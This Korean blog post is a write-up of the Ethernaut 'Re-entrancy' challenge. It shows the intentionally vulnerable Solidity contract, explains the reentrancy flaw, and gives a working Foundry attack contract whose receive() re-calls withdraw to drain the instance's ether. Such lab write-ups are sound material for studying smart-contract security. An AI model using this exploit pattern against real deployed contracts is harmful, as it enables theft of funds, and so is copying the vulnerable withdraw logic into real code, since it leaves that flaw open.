Web3/The Ethernaut

[The Ethernaut] Re-entrancy

프레딕 2025. 1. 28. 00:10
728x90

아 Foundry 코드짜는거가 익숙치가 않아서 너무 시간을 많이 잡아 먹었다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

donate를 할 수 있는 함수가 있고

각 balance를 볼 수 있는 balanceOf가 있다.

그 다음 withdraw로 내가 보낸 값만큼 다시 나한테 보낼 수 있다.

 

여기서 취약점은 문제 이름과 비슷하게 재진입 취약점이 존재한다.

만약 msg.sender.call로 문제 컨트랙트에서 내 컨트랙트로 돈을 보냈을때 내 컨트랙트에서 fallback이나 receive로 다시 withdraw를 호출한다면 어떻게 될까?

그러면 재귀형식처럼 다시 withdraw로 돌아가 balances[msg.sender] > _amount를 비교할텐데 내 balance는 아직 balances[msg.sender] -= amount가 호출되기 전이니 이전의 balance를 유지하고 있으므로

다시 call함수가 실행되어 또 돈이 나한테 들어온다.

이처럼 재귀형식처럼 반복되어 돈복사를 하는 취약점을 재진입 공격이라 한다.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/Reentrance.sol";

contract Attack{
    Reentrance public target;
    constructor() public payable{
        address payable targetAddress = payable(0x515e71b355b6b5054AaEEb732EF52CA765BBE481);
        target = Reentrance(targetAddress);
        target.donate{value: 0.001 ether}(address(this));
        console.log(address(this));
        // target.withdraw(0.001 ether);
    }

    function withdraw() external payable{
        target.withdraw(0.001 ether);
        (bool result,) = msg.sender.call{value: 0.002 ether}("");
        require(result);
    }

    receive() external payable{
        console.log("receive success");
        target.withdraw(0.001 ether);
    }
}

contract ReentranceSolve is Script {
    function run() external {
        vm.startBroadcast(vm.envUint("user_private_key"));
        Attack testContract = new Attack{value: 0.001 ether}();
        testContract.withdraw();
        vm.stopBroadcast();
    }

}

먼저, 문제 contract의 잔액은 아래의 코드로 볼 수 있다.

await getBalance(contract.address) // 혹은 getBalance(instance)

0.001만큼 가져오면 되므로 0.001 ether로 처음 donate값을 측정했다.

그다음 receive로 내가 돈을 받을 때 다시 0.001 ether만큼 withdraw를 호출하도록 설정했다.

이러면 재진입공격으로 단 두번의 withdraw호출로 instance 내의 값을 다 가져올 수 있다.

혹은 0.001 ether로 설정하지 않았다 해도 instance 내의 값이 0이 될때까지 계속해서 재귀호출을 하여 어떻게든 0을 만들 것이다.

 

참고로 저기서 좀 멍청한 짓을한게 Attack의 constructor 부분에 target.withdraw를 했었는데 이렇게 되면 해당 Attack contract가 전부 생성되기 전에 withdraw를 호출하여 내 contract에 제대로 돈이 안들어온다.

따라서 withdraw함수를 새로 해서 ReentranceSolve contract에서 호출하도록 해줬다.

 

그리고 원래 Reentrance.sol은 SafeMath를 사용하는데 우리한텐 SafeMath가 없으므로 0.8.0 버전으로 올려 +=으로 하게 해주었다. (0.8.0 버전은 SafeMath없이 += 이 SafeMath역할을 대신함)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Reentrance {
    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] += msg.value;
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                balances[msg.sender] -= _amount;
            }
        }
    }

    receive() external payable {}
}

 

그리고 또 멍청한 짓이

contract.balanceOf(내 지갑주소) 이렇게 했는데 계속 오류 떠서 봤더니

javascript에서는 ""을 붙여야 한다. 아니면 16진수로 인식하기에 꼭 따옴표를 붙여줘야 한다.

728x90
반응형